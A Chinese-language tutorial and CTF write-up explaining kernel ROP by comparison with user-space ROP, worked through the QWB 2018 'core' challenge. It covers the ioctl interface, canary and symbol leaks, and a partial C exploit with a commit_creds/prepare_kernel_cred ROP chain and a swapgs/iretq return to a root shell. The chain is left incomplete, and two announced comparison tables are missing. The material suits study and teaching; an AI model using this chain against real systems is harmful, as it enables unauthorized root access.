用户态视角理解内核ROP利用：从Shell到Root的进阶指南

一、摘要与概述

本文旨在通过对比用户态ROP利用和内核ROP利用，揭示两者在利用手法上的相似性，帮助读者快速掌握内核漏洞利用技术。核心要点包括：

1. 漏洞利用三要素：

   • 输入交互：外部可控的输入通道（网络、文件、用户输入）
   • 漏洞触发点：未经验证的内存操作（如栈溢出）
   • 权限提升路径：修改关键数据结构（返回地址、函数指针）

2. ROP本质：从程序代码片段中挖掘gadgets，通过栈指针操控实现指令连锁触发，突破系统防护。

二、用户态与内核态ROP对比

核心共性对比

关键差异

1. 权限层级：内核态拥有Ring 0特权，可执行敏感指令（如CR3修改）
2. Gadget范围：内核态需从内核镜像提取，处理特权指令（如swapgs、sti）
3. 缓解机制：内核态需对抗SMAP/SMEP和KPTI
4. 漏洞入口：内核态漏洞常通过驱动或系统调用触发

三、内核基础知识

内核文件系统

1. 内核映像文件：

   • bzImage：可启动的压缩内核格式
   • vmlinux：未压缩内核映像，用于调试

2. Initrd/Initramfs：

   • 临时根文件系统，用于挂载真实根文件系统前加载必需驱动
   • initramfs使用cpio格式，直接解压到内存

LKMs（可装载内核模块）

1. 文件格式：ELF格式，后缀.ko（kernel object）
2. 特点：
   • 动态加载/卸载，无需重启
   • 依赖内核符号表，不能独立运行
3. 相关命令：
   • insmod：加载模块
   • rmmod：卸载模块
   • lsmod：列出已加载模块
   • modprobe：智能加载（处理依赖关系）

强网杯2018 - core题目分析

1. 文件组成：

   • bzImage：内核压缩镜像
   • core.cpio：根文件系统
   • vmlinux：内核符号文件
   • start.sh：启动脚本

2. 保护机制：

   • 开启KASLR（内核地址随机化）
   • 栈保护（Stack Canary）
   • 符号信息暴露（降低利用难度）

3. 模块保护检查：

   • RELRO：未启用
   • Stack Canary：存在但不完善
   • NX：被禁用（允许栈执行代码）

四、驱动文件分析技术

用户态与内核交互

1. 关键系统调用：

   • ioctl：设备控制接口
   • 函数原型：int ioctl(int fd, unsigned long request, ...)

2. 驱动关键函数：

   • init_module：模块加载入口
   • printk：内核日志输出
   • copy_from_user/copy_to_user：内核与用户空间数据传递
   • kmalloc/kfree：内核内存分配/释放
   • proc_create：在/proc创建文件条目

调试环境搭建

1. QEMU启动参数：

   qemu-system-x86_64 \
     -m 1024M \
     -kernel ./bzImage \
     -initrd ./core.cpio \
     -append "console=ttyS0 kaslr"
   

2. 调试技巧：

   • 修改init脚本增强调试能力
   • 通过/proc/kallsyms泄露符号地址
   • 使用gdb附加调试，获取模块基地址

五、实战：强网杯2018 - core漏洞利用

漏洞分析

1. 核心函数：

   • core_write：用户数据拷贝到内核
   • core_read：内核数据泄露到用户空间
   • core_copy_func：存在栈溢出漏洞

2. IOCTL接口：

   • 0x6677889A：调用core_copy_func
   • 0x6677889B：调用core_read
   • 0x6677889C：设置全局变量off

利用步骤

1. 泄露Canary值：

   void leak_canary() {
     set_off(64);  // 设置偏移到Canary位置
     core_read();   // 读取Canary值
   }
   

2. 泄露函数地址：

   • 从/tmp/kallsyms获取内核符号地址
   • 计算gadgets偏移

3. 构造ROP链：

   • 提权：commit_creds(prepare_kernel_cred(0))
   • 返回用户态：swapgs; iretq

4. 完整利用代码：

   // 保存用户态寄存器
   void save_state() {
     asm volatile(
       "mov %%cs, %0\n"
       "mov %%ss, %1\n"
       "mov %%rsp, %2\n"
       "pushfq\n"
       "pop %3\n"
       : "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
       :
       : "memory");
   }
   
   // 提权ROP链
   void escalate_privs() {
     uint64_t *rop = (uint64_t *)&overflow[0x10];
     *rop++ = canary;
     *rop++ = 0;
     // 填充ROP链...
     *rop++ = (uint64_t)prepare_kernel_cred;
     *rop++ = (uint64_t)commit_creds;
     *rop++ = (uint64_t)swapgs_pop_ret;
     *rop++ = 0;
     *rop++ = (uint64_t)iretq;
     *rop++ = (uint64_t)shell;
     *rop++ = user_cs;
     *rop++ = user_rflags;
     *rop++ = user_rsp;
     *rop++ = user_ss;
   }
   

用户态与内核态ROP对比表

六、总结与进阶

1. 内核ROP关键点：

   • 精确控制内存布局
   • 处理特权级切换
   • 绕过SMAP/SMEP防护

2. 调试技巧：

   • 使用gdb调试内核模块
   • 通过/proc/kallsyms获取符号地址
   • 构造稳定的ROP链

3. 延伸学习：

   • 对抗KPTI（页表隔离）
   • 利用内核UAF漏洞
   • 绕过更严格的内存保护

通过本指南，读者可以建立起从用户态ROP到内核态ROP的知识迁移路径，掌握内核漏洞利用的核心技术。实际应用中需结合具体环境和防护机制调整利用策略。